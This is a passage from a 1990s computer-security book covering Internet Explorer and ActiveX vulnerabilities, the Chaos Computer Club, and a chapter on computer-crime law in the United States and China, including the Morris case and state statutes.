\nproblem (and you use Internet Explorer), you should immediately download the patch. \n \nCross Reference: The patch for the hole discussed in Microsoft's advisory, \"`Cybersnot' \nSecurity Problem,\" can be found on the Web at \nhttp://www.microsoft.com/msdownload/ie301securitypatch.htm. \n \nNews of these holes rocked the computing communities, which were still reeling from \nearlier holes. Examine this advisory from Dirk Balfanz and Edward Felten of Princeton \nUniversity, delivered in August 1996: \nWe have discovered a security flaw in version 3.0 of Microsoft's Internet Explorer browser \nrunning under Windows 95. An attacker could exploit the flaw to run any DOS command on the \nmachine of an Explorer user who visits the attacker's page. For example, the attacker could read, \nmodify, or delete the victim's files, or insert a virus or backdoor entrance into the victim's \nmachine. We have verified our discovery by creating a Web page that deletes a file on the machine \nof any Explorer user who visits the page. \n \n" }, { "page_number": 574, "text": " \n \nCross Reference: The advisory issued by Dirk Balfanz and Edward Felten. can be found \nat http://geek-girl.com/bugtraq/1996_3/0394.html. \n \nThat instance prompted the Felten team to undertake a full security analysis of Internet \nExplorer. To my knowledge, the results have not yet been released. \n \nCross Reference: Although the results of the Felten team's analysis have not yet been \nreleased, their research page is located at \nhttp://www.cs.princeton.edu/sip/Research.html. \n \nIt is clear that, for the moment, Microsoft Internet Explorer is still cutting its teeth in \nterms of Internet security. What makes the problem so insidious is that only those users \nwho are truly security aware receive such information as breaking news. The majority \nreceive such information from third parties, often long after holes have been discovered. \nThis is of major concern because nearly all of the holes found in Internet Explorer have \nbeen Class A. \nActiveX \nMicrosoft Corporation has put a great deal of effort into selling ActiveX to the public. \nHowever, even without examining the security risks of ActiveX (and there are some \nserious ones), I can tell you that ActiveX has its pitfalls. Here are two very practical \nreasons not to use ActiveX: \n• \nFor the moment, only those using Microsoft Internet Explorer benefit from ActiveX. Hundreds of \nthousands (or even millions) of people will be unable to view your page in its fully functional \nstate. \n• \nEven those sites that have the capability to view ActiveX may purposefully screen it out (and \nforbid their users to accept ActiveX controls). Many sites (as you will see) have taken a very \nactive stance against ActiveX because it is insecure. \nA recent article by Ellen Messmer in Network World provides some insight into the \nsentiments of private corporations regarding ActiveX: \nLike many companies, Lockheed Martin Corp. has come to rely on Microsoft Corp. technology. \nBut when it comes to Lockheed's intranet, one thing the company will not abide is ActiveX, a \ncornerstone of Microsoft's Web efforts. The reason? ActiveX can offer virus writers and hackers a \nperfect network entree. `You can download an ActiveX applet that is a virus, which could do \nmajor damage,' explains Bill Andiario, technical lead for Web initiatives at Lockheed Martin \nEnterprise Information Systems, the company's information systems arm. `Or it could grab your \nproprietary information and pass it back to a competitor, or worse yet, another country.' \n \nCross Reference: Ellen Messmer's \"ActiveX Marks New Virus Spot\" (Network World) \ncan be found on the Web at http://www.nwfusion.com/. \n \nThe fears of the corporate community are well founded. ActiveX technology is (at least \nfor the moment) unquestionably a threat to Internet security. Just ask the Chaos Computer \nClub, a group of hackers centered in Hamburg, Germany. The group gained international \n" }, { "page_number": 575, "text": " \n \nfame for several extraordinary exploits, including breaking into NASA. Some of the more \nbizarre exploits attributed to this group include \n• \nPublishing electronic mail addresses and telephone numbers of French politicians. This \ninformation was provided to hackers across the European continent. The purpose? To temporarily \nincapacitate the telecommunications systems of political and corporate entities in France in protest \nof a French nuclear test. \n• \nCreating one of the earliest implementations of a sniffer. Reportedly, the CCC had placed a \npassword-capture program on a network populated by VAX security specialists. Incredibly, it is \nreported that Kevin Mitnik inadvertently discovered the program while rifling through the security \nexperts' mail. \nHere is a classic message posted in February 1988, related to an episode where the rumor \nof a CCC attack generated panic (the message was posted by Jerry Leichter, then a \nstudent at Yale University): \nA week or so ago, the Chaos Computer Club of West Berlin announced that they were going to \ntrigger trojan horses they'd previously planted on various computers in the Space Physics Analysis \nNetwork. Presumably, the reason for triggering the trojan horses was to throw the network into \ndisarray; if so, the threat has, unfortunately, with the help of numerous fifth-columnists within \nSPAN, succeeded. Before anybody within SPAN replies by saying something to the effect of \n\"Nonsense, they didn't succeed in triggering any trojan horses,\" let me emphasize that I said the \nTHREAT succeeded. That's right, for the last week SPAN hasn't been functioning very well as a \nnetwork. All too many of the machines in it have cut off network communications (or at least lost \nmuch of their connectivity... \n \nCross Reference: Find Jerry Leichter's posting in its entirety at \nhttp://catless.ncl.ac.uk/Risks/6.27.html. \n \nExtraordinary. In the past, various intelligence agencies have attempted to infiltrate the \nCCC through a wide range of means. Such agencies have reportedly included the French \nsecret police. The French Direction de la Surveillance du Territoire (a domestic \nintelligence agency) allegedly used an agent provocateur in an attempt to gather CCC \nsupporters: \nFor years Jean-Bernard Condat has undoubtedly been France's best-known computer hacker. \nAppearing on television talk shows, launching provocative operations and attending computer \nseminars, he founded the Chaos Computer Club France (CCCF) in 1989 as France's answer to the \nrenowned Chaos Computer Club in Germany. French journalist Jean Guisnel revealed this week in \na book entitled Guerres dans le Cyberespace, Internet et les Services Secrets (Cyberspace War, \nInternet and Secret Services) published by the Editions La Decouverte (ISBN 2-7071-2502-4) that \nCondat has been controlled from the outset by the Direction de la Surveillance du Territoire. A \nstudent in Lyons where he followed music and information technology courses, Condat was taken \nin hand by the local branch of the DST in 1983 after committing some \"minor misdemeanor.\" The \nDST organized his participation in hacker meetings abroad. \n \nCross Reference: The previous paragraph is excerpted from A Computer Spy Unmasked: \nHead of the French Hackers Group was a Secret Service Agent (Indigo Publications), \nwhich can be found on the Web at http://www.sec.de/sec/news.cccfnarc. \n \nIn any event, the CCC has long been known for its often dramatic public feats of hacking \nand cracking. These feats have crippled more than one giant: some were \n" }, { "page_number": 576, "text": " \n \ntelecommunications companies, and others were private corporations. In February 1997, \nthe neck of Microsoft fell beneath the ax of the Chaos Computer Club. As reported on \nCNET: \nOn German national television, [the CCC] showed off an ActiveX control that is able to snatch \nmoney from one bank account and deposit it into another, all without the customary personal \nidentification number (PIN) that is meant to protect theft. \n \nCross Reference: \"ActiveX Used as Hacking Tool,\" by Nick Wingfield (CNET), can be \nfound on the Web at \nhttp://www.news.com/News/Item/0,4,7761,4000.html. \n \nThis news caused Usenet and security mailing lists to explode. Heated arguments ensued \nbetween Microsoft users and the rest of the world. The word was out: ActiveX was \ntotally insecure. Messages in security lists came from individuals demanding firewalls or \nother tools to filter ActiveX out at the router level. Moreover, there is a firm, named \nAventail, that specializes in such filtering software. \n \nCross Reference: The entire chronology of these arguments can be found at \nhttp://www.iks-jena.de/mitarb/lutz/security/activex.en.html. \n \n \nCross Reference: If you are a system administrator, you should seriously consider \ncontacting Aventail. They can be found on the Web at \nhttp://www.aventail.com/. \n \nSo, What Is the Problem with ActiveX? \nThe problem with ActiveX was summed up concisely by the folks at JavaSoft: \nActiveX...allows arbitrary binary code to be executed, a malicious ActiveX component can be \nwritten to remove or alter files on the user's local disk or to make connections to other computers \nwithout the knowledge or approval of the user. There is also the risk that a well-behaved ActiveX \ncomponent could have a virus attached to it. Unfortunately, viruses can be encrypted just as easily \nas ordinary code. \n \nCross Reference: The preceding paragraph is excerpted from \"Frequently Asked \nQuestions--Applet Security,\" which can be found on the Web at \nhttp://www.javasoft.com:80/sfaq/index.html#activex. \n \nThe problem seems more serious than it is. Only those who use the Microsoft platform \ncan be real victims. This is because the majority of Microsoft products (NT excluded) do \nnot provide access control. Thus, if a malicious ActiveX control breaks through, it has \naccess to the entire hard drive of the user. In UNIX, this is not possible because of the file \npermissions and access control. Under the UNIX environment, a malicious applet would \nnever get farther than the current user's directory. \nMicrosoft has fallen victim to its own efficiency. It has created a tool that is so open and \nso finely related to its operating system that it is, in effect, the ultimate security risk for \nMicrosoft users. \n" }, { "page_number": 577, "text": " \n \nSome forces at Microsoft have taken the position that the CCC incident proves that \nindividuals should not accept unsigned code. That is, the folks at Microsoft have taken \nthis opportunity to grandstand their plan to have all code digitally signed. However, this \nruns right back to the issue I discussed earlier about certificates and signatures. Why is \nMicrosoft so intent on having everyone, including programmers, identify themselves? \nWhy should a programmer be forced to sign his or her applications simply because \nActiveX is not secure? \n \nNOTE: In fact, even signed code is unsafe. It does not take a lot of effort to get code \nsigned, and currently there is no mechanism to prevent malicious programmers from \nsigning their code, whether that code is safe or not. \n \nActiveX technology should be redesigned, but that responsibility rests squarely on the \nshoulders of Microsoft. After all, the risks posed are significant only for Microsoft's own \nusers. Remember that at least for the moment, Microsoft's Internet Explorer is the only \nbrowser that truly supports ActiveX. However, all that is about to change. ActiveX will \nsoon become a developing, open standard, as noted by Mike Ricciuti and Nick Wingfield \n(CNET): \nRepresentatives from more than 100 companies, including software makers and information \nsystem managers, today voted at a meeting held here to turn licensing, branding, and management \nof the ActiveX specification over to the Open Group, an industry consortium experienced in \npromoting other cross-platform technologies. \nIt is doubtful that ActiveX will ever be completely restricted from accessing portions of \nan individual's hard disk drive because of the relation the technology has with \ncomponents like Visual Basic. Those familiar with Visual Basic know that certain \ncommands within it allow you to control Microsoft applications from a remote location, \neven if you don't have a low-level (such as DDE) conversation with the targeted program. \n(The SendKeys function is a perfect example of such functionality.) \nHowever, because the benefits of ActiveX technology are so very dramatic, it is likely \nthat ActiveX will continue to gain popularity in spite of its security flaws. In the end, \nActiveX is nothing but OLE technology, and that is at the very base of the Microsoft \nframework. By exploring this, you can gain some insight into what ActiveX can really \ndo. \nTo begin to understand what OLE is about, consider this: OLE is a technology that deals \nwith compound documents, or documents containing multiple types of data or media. In \nolder, cut-and-paste technology, such elements (when extracted from their native \napplication) would be distorted and adopt whatever environment was present in the \napplication in which they were deposited (for example, dropping a spreadsheet into a \nword-processor document would jumble the spreadsheet data). In OLE, these objects \nretain their native state, irrespective of where they end up. When a document element \nends up in an application other than its own, it is called an embedded object. \nEach time you need to edit an embedded object, the original, parent application is called \nso the editing can take place in the element's native environment (for example, to edit an \nExcel spreadsheet embedded in a Word document, Excel is launched). However, in \n" }, { "page_number": 578, "text": " \n \nadvanced OLE, the user never sees this exchange between the current application and the \nparent. The security implications of this are obvious. If an ActiveX control can \nmasquerade as having been generated in a particular application, it can cause an instance \nof that application to be launched. After the application has been launched, it can be \n\"remote controlled\" from the ActiveX component. The implications of this are \ndevastating. \nSo, Microsoft is faced with a dilemma. It has an excellent extension to the Web, but one \nthat poses critical security risks. What remains is time--time in which Microsoft can come \nup with practical solutions for these problems. In the interim, you would be wise to \ndisable ActiveX support in your browser. Otherwise, you may fall victim to a malicious \nActiveX control. And, the danger posed by this dwarfs the dangers posed by Java applets. \nIn fact, there is no comparison. \nSummary \nThis book hardly scratches the surface of Internet security. However, I hope that some \npoints have been made here. Between holes in operating systems, CGI scripts, TCP/IP \ndaemons, browser clients, and now applets and extensions, the Internet is not a very \nsecure place. Taking these factors in their entirety, the Internet is not secure at all. Yet \nindividuals are now doing banking over the Net. \nBetween the resources provided in the preceding chapters and the appendixes yet to \ncome, it is my hope that you'll find good, solid security information. You'll need it. \n" }, { "page_number": 579, "text": " \n \n31 \nReality Bytes: Computer Security and the \nLaw \nThis chapter discusses law as it applies to the Internet both here and abroad. For the most \npart, my analysis is aimed toward the criminal law governing the Internet. \nThe United States \nMy timeline begins in 1988 with United States v. Morris, the case of the Internet worm. I \nshould, however, provide some background, for many cases preceded this one. These \ncases defined the admittedly confused construct of Internet law. \nPhreaks \nIf you remember, I wrote about phone phreaks and their quest to steal telephone service. \nAs I explained, it would be impossible to identify the precise moment in which the first \nphreak hacked his or her way across the bridge to the Internet. At that time, the network \nwas still referred to as the ARPAnet. \nConcrete evidence of phreaks accessing ARPAnet can be traced (at least on the Net) to \n1985. In November of that year, the popular, online phreaking magazine Phrack \npublished its second issue. In it was a list of dialups from the ARPAnet and several \nmilitary installations. \n \nCross Reference: The list of dialups from ARPAnet can be found in Phrack, Volume \nOne, Issue Two, \"Tac Dialups taken from ARPAnet,\" by Phantom Phreaker. Find it on \nthe Net at http://www.fc.net/phrack/files/p02/p02-1.html. \n \nBy 1985, this activity was being conducted on a wholesale basis. Kids were trafficking \nlists of potential targets, and networks of intruders began to develop. For bright young \nAmericans with computers, a whole new world presented itself; this world was largely \nlawless. \nBut the story goes back even further. In 1981, a group of crackers seized control of the \nWhite House switchboard, using it to make transatlantic telephone calls. This was the \nfirst in a series of cases that caught the attention of the legislature. \nThe majority of sites attacked were either federal government sites or sites that housed \nfederal interest computers. Although it may sound extraordinary, there was, at the time, \nno law that expressly prohibited cracking your way into a government computer or \ntelecommunication system. Therefore, lawmakers and the courts were forced to make do, \napplying whatever statute seemed to closely fit the situation. \n" }, { "page_number": 580, "text": " \n \nAs you might expect, criminal trespass was, in the interim, a popular charge. Other \ncommon charges were theft, fraud, and so forth. This all changed, however, with the \npassing of the Computer Fraud and Abuse Act of 1986. Following the enactment of that \nstatute, the tables turned considerably. That phenomenon began with U.S. v. Morris. \nUnited States of America v. Robert Tappan Morris \nThe Internet worm incident (or, as it has come to be known, the Morris Worm) forever \nchanged attitudes regarding attacks on the Internet. That change was not a gradual one. \nOrganizations such as CERT, FIRST, and DDN were hastily established in the wake of \nthe attack to ensure that something of such a magnitude could never happen again. For \nthe security community, there was vindication in Morris' conviction. Nonetheless, the \nfinal decision in that case would have some staggering implications for hackers and \ncrackers alike. \nThe government took the position that Morris had violated Section 2(d) of the Computer \nFraud and Abuse Act of 1986, 18 U.S.C. 1030(a)(5)(A)(1988). That act targeted a certain \nclass of individual: \n...anyone who intentionally accesses without authorization a category of computers known as \n\"[f]ederal interest computers\" and damages or prevents authorized use of information in such \ncomputers, causing loss of $1,000 or more... \nFor those of you who aren't attorneys, some explanation is in order. Most criminal \noffenses have several elements; each must be proven before a successful case can be \nbrought against a defendant. For example, in garden-variety civil fraud cases, the chief \nelements are \n• \nThat the defendant made a false representation \n• \nThat the defendant knew the representation was false \n• \nThat he or she made it with intent that the victim would rely on it \n• \nThat the victim did rely on the representation \n• \nThat the victim suffered damages because of such reliance \nIf a plaintiff fails to demonstrate even one of these elements, he or she loses. For \nexample, even if the first four elements are there, if the victim lost nothing in the fraud \nscheme, no case will lie (that is, no case brought upon such a claim will successfully \nsurvive a demurrer hearing). \n \nNOTE: This is different from criminal law. In criminal law, even if the fifth element is \nmissing, the defendant can still be tried for fraud (that is, damages are not an essential \nrequirement in a criminal fraud case). \n \nTo bring any case to a successful conclusion, a prosecutor must fit the fact pattern of the \ncase into the handful of elements that comprise the charged offense. For example, if \n" }, { "page_number": 581, "text": " \n \nintent is a necessary element, intent must be proven. Such elements form the framework \nof any given criminal information filing. The framework of the Morris case was based on \nthe Computer Fraud and Abuse Act of 1986. Under that act, the essential elements were \n• \nThat Morris intentionally (and without authorization) accessed a computer or computers \n• \nThat these were federal interest computers \n• \nThat in his intentional, unauthorized access of such federal interest computers, Morris caused \ndamage, denial of service, or losses amounting to $1,000 or more \nThe arguments that ultimately went to appeal were extremely narrow. For example, there \nwas furious disagreement about exactly what intentionally meant within the construct of \nthe statute: \nMorris argues that the Government had to prove not only that he intended the unauthorized access \nof a federal interest computer, but also that he intended to prevent others from using it, and thus \ncause a loss. The adverb \"intentionally,\" he contends, modifies both verb phrases of the section. \nThe government urges that since punctuation sets the \"accesses\" phrase off from the subsequent \n\"damages\" phrase, the provision unambiguously shows that \"intentionally\" modifies only \n\"accesses.\" \nMorris' argument was rejected by the Court of Appeals. Instead, it chose to interpret the \nstatute as follows: that the mere intentional (unauthorized) access of the federal interest \ncomputer was enough (that is, it was not relevant that Morris also intended to cause \ndamage). The defense countered this with the obvious argument that if this were so, the \nstatute was ill- conceived. As interpreted by the Court of Appeals, this statute would \npunish small-time intruders with the same harsh penalties as truly malicious ones. \nUnfortunately, the court didn't bite. Compare this with the UK statutes discussed later, \nwhere intent is definitely a requisite. \nThe second interesting element here is the requirement that the attacked computers be \nfederal interest computers. Under the meaning of the act, a federal interest computer was \nany computer that was intended: \n...exclusively for the use of a financial institution or the United States Government, or, in the case \nof a computer not exclusively for such use, used by or for a financial institution or the United \nStates Government, and the conduct constituting the offense affects such use; or which is one of \ntwo or more computers used in committing the offense, not all of which are located in the same \nState. \nThe first and second requirements were exclusive. The following description was a \nsecond paragraph: \n...which is one of two or more computers used in committing the offense, not all of which are \nlocated in the same State. \nIn other words, from the government's point of view, any two or more computers located \nin different states were federal interest computers within the construct of the act. This \ncharacterization has since been amended so that the term now applies to any action \nundertaken via a computer in interstate commerce. This naturally has broad implications \nand basically reduces the definition to any computer attached to the Internet. Here is why: \n" }, { "page_number": 582, "text": " \n \nThe legal term interstate commerce means something slightly different from what it \nmeans in normal speech. The first concrete legal applications of the term in the United \nStates followed the passing of the Sherman Act, a federal antitrust bill signed by \nPresident Benjamin Harrison on July 2, 1890. The act forbade restraint of \"...trade or \ncommerce among the several states, or with foreign nations.\" As defined in Blacks Law \nDictionary (an industry standard), interstate commerce is \nTraffic, intercourse, commercial trading, or the transportation of persons or property between or \namong the several states of the Union, or from or between points in one state and points in another \nstate... \nFrom this, one might conclude that interstate commerce is only conducted when some \nphysical, tangible good is transferred between the several states. That is erroneous. The \nterm has since been applied to every manner of good and service. In certain types of \nactions, it is sufficient that only the smallest portion of the good or service be trafficked \nbetween the several states. For example, if a hospital accepts patients covered by \ninsurance carriers located beyond the borders of the instant state, this is, by definition, \ninterstate commerce. This is so even if the patient and the hospital are located within the \nsame state. \nHowever, there are limitations with regard to the power of Congress to regulate such \ninterstate commerce, particularly if the activity is intrastate but has only a limited effect \non interstate commerce. For example, in A. L. A. Schecter Poultry Corp. v. United States \n(1935), the Supreme Court: \n...characterized the distinction between direct and indirect effects of intrastate transactions upon \ninterstate commerce as \"a fundamental one, essential to the maintenance of our constitutional \nsystem.\" Activities that affected interstate commerce directly were within Congress' power; \nactivities that affected interstate commerce indirectly were beyond Congress' reach. The \njustification for this formal distinction was rooted in the fear that otherwise \"there would be \nvirtually no limit to the federal power and for all practical purposes we should have a completely \ncentralized government.\" \nIn any event, for the moment, the statute is sufficiently broad that the government can \nelect to take or not take almost any cracking case it wishes, even if the attacking and \ntarget machines are located within the same state. And from inside experience with the \nfederal government, I can tell you that it is selective. Much depends on the nature of the \ncase. Naturally, more cracking cases tend to pop up in federal jurisdiction, primarily \nbecause the federal government is more experienced in such investigations. Many state \nagencies are poorly prepared for such cases. In fact, smaller county or borough \njurisdictions may have never handled such a case. \nThis is a training issue more than anything. More training is needed at state and local \nlevels in such investigations and prosecutions. These types of trials can be expensive and \nlaborious, particularly in regions where the Internet is still a new phenomenon. If you \nwere a prosecutor, would you want to gamble that your small-town jury--members of \nwhich have little practical computer experience--will recognize a crime when they hear \nit? Even after expert testimony? Even though your officers don't really understand the \nbasic nuts and bolts of the crime? Think again. In the past, most crackers have been \nstupid enough to confess or plea bargain. However, as cracking becomes more of a crime \nof financial gain, plea bargains and confessions will become more rare. Today, cracking \n" }, { "page_number": 583, "text": " \n \nis being done by real criminals. To them, the flash of a badge doesn't mean much. They \ninvoke their Fifth Amendment rights and wait for their lawyer. \n \nCross Reference: You can find the full text version of the Computer Fraud and Abuse \nAct of 1986 at http://www.law.cornell.edu/uscode/18/1030.html. \n \nOn the question of damages in excess of $1,000, this is a gray area. Typically, statutes \nsuch as the Computer Fraud and Abuse Act allow for sweeping interpretations of \ndamages. One can claim $1,000 in damages almost immediately upon an intrusion, even \nif there is no actual damage in the commonly accepted sense of the word. It is enough if \nyou are forced to call in a security team to examine the extent of the intrusion. \nThis issue of damage has been hotly debated in the past and, to the government's credit, \nsome fairly stringent guidelines have been proposed. At least on a federal level, there \nhave been efforts to determine reliable formulas for determining the scope of damage and \ncorresponding values. However, the United States Sentencing Commission has granted \ngreat latitude for higher sentencing, even if damage may have been (however \nunintentionally) minimal: \nIn a case in which a computer data file was altered or destroyed, loss can be measured by the cost \nto restore the file. If a defendant intentionally or recklessly altered or destroyed a computer data \nfile and, due to a fortuitous circumstance, the cost to restore the file was substantially lower than \nthe defendant could reasonably have expected, an upward departure may be warranted. For \nexample, if the defendant intentionally or recklessly damaged a valuable data base, the restoration \nof which would have been very costly but for the fortuitous circumstance that, unknown to the \ndefendant, an annual back-up of the data base had recently been completed thus making \nrestoration relatively inexpensive, an upward departure may be warranted. \nThis to me seems unreasonable. Defendants ought to be sentenced according to the actual \ndamage they have caused. What would have been, could have been, and should have \nbeen are irrelevant. If the intention of the commission is that the loss be measured by the \ncost to restore the file, this upward departure in sentencing is completely inconsistent. \nEffectively, a defendant could be given a longer prison sentence not for what he did but \nwhat he could have done. Thus, this proposed amendment suggests that the actual loss \nhas no bearing on the sentence, but the sentencing court's likely erroneous notion of the \ndefendant's intent (and his knowledge of the consequences of his actions) does. \nAt any rate, most states have modeled their computer law either on the Computer Fraud \nand Abuse Act or on principles very similar. The majority treat unauthorized access and \ntampering, and occasionally, some other activity as well. \nCalifornia \nCalifornia is the computer crime and fraud capital of the world. On that account, the \nGolden State has instituted some very defined laws regarding computer cracking. The \nmajor body of this law can be found in California Penal Code, Section 502. It begins, like \nmost such statutes, with a statement of intent: \nIt is the intent of the Legislature in enacting this section to expand the degree of protection \nafforded to individuals, businesses, and governmental agencies from tampering, interference, \ndamage, and unauthorized access to lawfully created computer data and computer systems. The \n" }, { "page_number": 584, "text": " \n \nLegislature finds and declares that the proliferation of computer technology has resulted in a \nconcomitant proliferation of computer crime and other forms of unauthorized access to computers, \ncomputer systems, and computer data. The Legislature further finds and declares that protection of \nthe integrity of all types and forms of lawfully created computers, computer systems, and \ncomputer data is vital to the protection of the privacy of individuals as well as to the well-being of \nfinancial institutions, business concerns, governmental agencies, and others within this state that \nlawfully utilize those computers, computer systems, and data. \n \nCross Reference: Visit http://www.leginfo.ca.gov/ to see the California \nPenal Code, Section 502 in full. \n \nThe statute is comprehensive. It basically identifies a laundry list of activities that come \nunder its purview, including but not limited to any unauthorized action that amounts to \nintrusion or deletion, alteration, theft, copying, viewing, or other tampering of data. The \nstatute even directly addresses the issue of denial of service. \nThe penalties are as follows: \n• \nFor simple unauthorized access that does not amount to damage in excess of $400, either a $5,000 \nfine or one year in imprisonment or both \n• \nFor unauthorized access amounting to actual damage greater than $400, a $5,000 fine and/or terms \nof imprisonment amounting to 16 months, two years, or three years in state prison or one year in \ncounty jail \nAs you might expect, the statute also provides for comprehensive civil recovery for the \nvictim. Parents should take special note of subsection (e)1 of that title: \nFor the purposes of actions authorized by this subdivision, the conduct of an unemancipated minor \nshall be imputed to the parent or legal guardian having control or custody of the minor... \nThat means if you are a parent of a child cracking in the state of California, you (not your \nchild) shall suffer civil penalties. \nAnother interesting element of the California statute is that it provides for possible \njurisdictional problems that could arise. For example, say a user in California unlawfully \naccesses a computer in another state: \nFor purposes of bringing a civil or a criminal action under this section, a person who causes, by \nany means, the access of a computer, computer system, or computer network in one jurisdiction \nfrom another jurisdiction is deemed to have personally accessed the computer, computer system, \nor computer network in each jurisdiction. \nI do not know how many individuals have been charged under 502, but I would suspect \nrelatively few. The majority of computer cracking cases seem to end up in federal \njurisdiction. \nTexas \nIn the state of Texas, things are a bit less stringent (and far less defined) than they are in \nCalifornia. The Texas Penal Code says merely this: \nA person commits an offense if the person knowingly accesses a computer, computer network, or \ncomputer system without the effective consent of the owner. \n \n" }, { "page_number": 585, "text": " \n \nCross Reference: Find the Texas Penal Code on the Web at \nhttp://www.capitol.state.tx.us/statutes/pe/pe221.htm. \n \nIn all instances where the defendant's actions are undertaken without the intent \"to obtain \na benefit or defraud or harm another,\" the violation is a Class A misdemeanor. However, \nif the defendant's actions are undertaken with such intent, this can be a state jail felony (if \nthe amount is $20,000 or less) or a felony in the third degree (if the amount exceeds \n$20,000). \nThere is one affirmative defense: \nIt is an affirmative defense to prosecution under Section 33.02 that the actor was an officer, \nemployee, or agent of a communications common carrier or electric utility and committed the \nproscribed act or acts in the course of employment while engaged in an activity that is a necessary \nincident to the rendition of service or to the protection of the rights or property of the \ncommunications common carrier or electric utility. \nIt is also interesting to note that the term access is defined within the construct of the \nstatute to mean the following: \n...to approach, instruct, communicate with, store data in, retrieve or intercept data from, alter data \nor computer software in, or otherwise make use of any resource of a computer, computer system, \nor computer network. \nDoes this suggest that scanning the TCP/IP ports of a computer in Texas is unlawful? I \nbelieve that it does, though the statute has probably not been used for this purpose. \nOther States \nMost other states have almost identical laws. Nevertheless, there are a few special points \nthat I would like to focus on, by state. Some are interesting and others are amusing. Table \n31.1 offers a few examples. \nTable 31.1. Interesting United States computer crime provisions. \nState \nProvision \nAlaska \nOne can commit the crime of (and be subject to punishment for) deceiving a machine. This is \nso even though a machine is neither a sentient being nor capable of perception. Hmmm. \nConnecticut Provides for criminal and civil penalties for disruption of computer services (even the \ndegradation of such services). Clearly, ping and syn_flooding are therefore crimes in \nConnecticut. \nGeorgia \nCrackers, take note: Do not perform your cracking in the state of Georgia. The penalties are \nstiff: 15 years and a $50,000 fine. Ouch. \nHawaii \nThe system breaks unauthorized use and access into two different categories, and each \ncategory has three degrees. Just taking a look inside a system is a misdemeanor. Fair enough. \nMinnesota This state has a special subdivision that provides for penalties for individuals who create or \nuse destructive computer programs. \nInformation about computer crime statutes can be obtained from the Electronic Frontier \nFoundation. EFF maintains a list of computer crime laws for each state. Of particular \ninterest is that according to the EFF's compilation, as of May 1995, the state of Vermont \nhad no specific provisions for computer crimes. This would either suggest that very little \n" }, { "page_number": 586, "text": " \n \ncracking has been done in Vermont or, more likely, such crimes are prosecuted under \ngarden-variety trespassing-theft laws. \n \nCross Reference: EFF's Web site is located at http://www.eff.org/. EFF's list of \ncomputer crime laws for each state (last updated in May, 1995) can be found at \nhttp://www.eff.org/pub/Privacy/Security/Hacking_cracking_phr\neaking/Legal/comp_crime_us_state.laws. \n \nThe Law in Action \nDespite the often harsh penalties for computer crimes, crackers are rarely sentenced by \nthe book. The average sentence is about one year. Let's take a look at a few such cases: \n• \nA New York youngster named Mark Abene (better known as Phiber Optik) compromised key \nnetworks, including one division of Bell Telephone and a New York television station. A United \nStates District Court sentenced Abene to one year in prison. (That sentence was handed down in \nJanuary 1994.) Abene's partners in crime also received lenient sentences, ranging from a year and \na day to six months in federal prison. \n• \nJohn Lee, a young student in New York, was sentenced to a year and a day in federal prison after \nbreaching the security of several telecommunications carriers, an electronics firm, and a company \nthat designed missiles. \nTo date, the longest period spent in custody by an American cracker was served by \nCalifornian Kevin Poulsen. Poulsen was unfortunate enough to crack one site containing \ninformation that was considered by the government to be defense related. He was \ntherefore charged under espionage statutes. Poulsen was held for approximately five \nyears, being released only this past year after shaking those spying charges. As reported \nin the L.A. Times: \n...the espionage charge was officially dropped Thursday as part of the agreement crafted by \nPoulsen's lawyer and the U.S. attorney's office. In exchange, he pleaded guilty to charges of \npossessing computer access devices, computer fraud, and the use of a phony Social Security card, \naccording to his defense attorney, Paul Meltzer. \nThere is a strong unwillingness by federal courts to sentence these individuals to the full \nterm authorized by law. This is because, in many instances, to do so would be an \ninjustice. Security personnel often argue that cracking into a network is the ultimate sin, \nsomething for which a cracker should never be forgiven. These statements, however, are \ncoming from individuals in constant fear that they are failing at their basic occupation: \nsecuring networks. Certainly, any security expert whose network comes under successful \nattack from the void will be angry and embarrassed. Shimomura, oddly enough, has \nrecovered nicely. (This recovery is no doubt therapeutic for him as well, for he produced \na book that had national distribution.) But the basic fact remains: One of the most \ntalented security specialists in the world was fleeced by Kevin Mitnik. It is irrelevant that \nMitnik was ultimately captured. The mere fact that he cracked Shimomura's network is \nevidence that Shimomura was dozing on the job. So, statements from security folks about \nsentencing guidelines should be taken with some reservation. \nIn reality, the previous generation of crackers (and that includes Mitnik, who was not yet \nold enough to drive when he began) were not destructive. They were an awful nuisance \n" }, { "page_number": 587, "text": " \n \nperhaps, and of course, telephone service was often stolen. However, damage was a rare \naftermath. In contrast, the new generation cracker is destructive. Earlier in this book, I \ndiscussed a university in Hawaii that was attacked (the university left a gaping hole in its \nSGI machines). In that case, damage was done and significant effort and costs were \nincurred to remedy the problem. Similarly, the theft of source code from Crack Dot Com \n(the makers of the awesome computer game, Quake) was malicious. \nThis shift in the character of the modern cracker will undoubtedly trigger stiffer sentences \nin the future. Social and economic forces will also contribute to this change. Because the \nnetwork is going to be used for banking, I believe the judiciary will take a harsher look at \ncracking. Nonetheless, something tells me that American sentences will always remain \nmore lenient than those of, say, China. \nChina \nChina has a somewhat harsher attitude towards hackers and crackers. For example, in \n1992, the Associated Press reported that Shi Biao, a Chinese national, managed to crack a \nbank, making off with some $192,000. He was subsequently apprehended and convicted. \nHis sentence? Death. Mr. Biao was executed in April, 1993. (Note to self: Never crack in \nChina.) \nIn any event, the more interesting features of China's laws expressly related to the \nInternet can be found in a curious document titled The Provisional Regulation on the \nGlobal Connection via Computer Information Network by the People's Republic of \nChina. In the document, several things become immediately clear. First, the Chinese \nintend to control all outgoing traffic. They have therefore placed certain restrictions on \nhow companies can connect: \nA computer network will use the international telecommunications paths provided by the public \ntelecommunications operator of the Bureau of Posts and Telecommunications when accessing the \nInternet directly. Any sections or individuals will be prohibited from constructing and using \nindependent paths to access the Internet. \nMoreover, the Chinese government intends to intercept and monitor outgoing traffic: \nThe existing interconnected networks will go through screening and will be adjusted when \nnecessary in accordance with the regulations of the State Council, and will be placed under the \nguidance of the Bureau of Posts and Telecommunications. Construction of a new interconnected \nnetwork will require a permission from the State Council. \n \nCross Reference: The Provisional Regulation on the Global Connection via Computer \nInformation Network by the People's Republic of China can be found on the Web at \nhttp://www.smn.co.jp/topics/0087p01e.html. \n \nThe Chinese intend to implement these controls in a hierarchical fashion. In their scheme, \ninterconnected networks are all screened through the government communications \ninfrastructure. All local networks are required to patch into these interconnected \nnetworks. Lastly, all individuals must go through a local network. Through this scheme, \nthey have effectively designed an information infrastructure that is easily monitored. At \neach stage of the infrastructure are personnel responsible for that stage's network traffic. \n" }, { "page_number": 588, "text": " \n \nMoreover, there are provisions prohibiting the traffic of certain materials. These \nprohibitions naturally include obscene material, but that is not all. The wording of the \narticle addressing such prohibitions is sufficiently vague, but clear enough to transmit the \ntrue intentions of the State: \nFurthermore, any forms of information that may 